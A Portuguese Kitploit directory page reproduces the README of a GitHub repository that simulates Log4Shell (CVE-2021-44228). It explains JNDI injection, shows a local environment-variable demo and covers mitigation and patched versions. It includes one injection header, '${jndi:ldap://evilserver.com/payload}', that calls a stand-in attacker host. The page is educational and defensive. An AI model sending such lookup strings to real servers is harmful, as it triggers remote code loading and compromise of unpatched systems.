Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2021-44228 — Uma simples simulação do infame problema CVE-2021-44228. | Kitploit
Ferramentas/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

Uma simples simulação do infame problema CVE-2021-44228.

Ver Repositório
2há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Java CI

CVE-2021-44228

Este repositório representa uma simulação simplificada do notório problema CVE-2021-44228.

Além de propriedades de sistema e outras consultas a estruturas de dicionário, o Apache Log4j também implementa o recurso de consulta JNDI por vários motivos. O JNDI pode obter serviços de uma série de provedores de serviço, como LDAP, DNS, registro Java RMI, etc. O próprio JNDI é uma API simples e insegura que não protege contra provedores de serviço controlados por terceiros. Enquanto o atacante controlar um servidor publicamente acessível por meio da URL maliciosa e souber o que está sendo registrado pela aplicação que escuta em uma porta específica, ele pode abusar do formato do log para fazer a aplicação carregar e executar código Java arbitrário por meio de injeção JNDI. Isso pode ser passado por meio de cabeçalhos de requisição comumente registrados, tanto em texto simples quanto em forma ofuscada.

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

O Apache Log4j estava vulnerável à vulnerabilidade de execução remota de código antes do lançamento da versão 2.16.0 em 13 de dezembro, e os autores merecem meu devido respeito pela resposta rápida.

Recursos:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

Exemplo

A simulação usa variáveis de ambiente em vez de um servidor LDAP, e o formato do log também suporta a substituição de propriedades. O princípio não é diferente.

Pré-requisitos

Java 11 e Maven são necessários; no entanto, o Maven Wrapper também está incluído no repositório.

Exploração

O repositório do GitHub define um segredo de repositório PASSWORD que é definido como variável de ambiente no arquivo de workflow .github/workflow/ci.yml para disponibilizar um segredo a uma action. Para reproduzir o problema localmente, uma variável de ambiente comumente usada, JAVA_HOME, pode ser utilizada. O workflow compila e executa duas aplicações com versões diferentes do Apache Log4j, 2.14.1 e 2.16.0, e aqui está uma execução de exemplo no GitHub Actions: Java CI #7.

Apache Log4j 2.14.1

Esta versão é vulnerável ao ataque. Siga estas etapas para reproduzir:

  1. mvn clean install -f log4j-2.14.1

  2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    A variável de ambiente aparece registrada:

    args[0] = C:\Program Files\Java\jdk-11.0.11

Aqui está uma captura de tela da GitHub Action apenas para o caso de a execução real ser removida automaticamente:

log4j-2.14.1.png

Observe que, ao tentar imprimir segredos no log, o GitHub os redige automaticamente e os valores são mascarados e exibidos como ***. A propriedade, no entanto, foi substituída.

Mitigação

Uma solução temporária e parcial é instruída por meio da adição do parâmetro JVM -Dlog4j2.formatMsgNoLookups=True; portanto, é necessário reiniciar todos os nós da aplicação.

  1. mvn clean install -f log4j-2.14.1

  2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    Nenhuma substituição de propriedade ocorre:

    args[0] = ${env:JAVA_HOME:-}

Novamente, aqui está uma captura de tela do GitHub Actions:

log4j-2.14.1-mitigated.png

Apache Log4j 2.16.0

O problema foi corrigido no Log4j 2.12.2 (Java 7) e no Log4j 2.16.0 (Java 8) pela equipe de segurança do Log4j.

  1. mvn clean install -f log4j-2.16.0

  2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

    Nenhuma substituição de propriedade ocorre:

    args[0] = ${env:JAVA_HOME:-}

Novamente, aqui está uma captura de tela do GitHub Actions:

log4j-2.16.0.png

Baixar ferramenta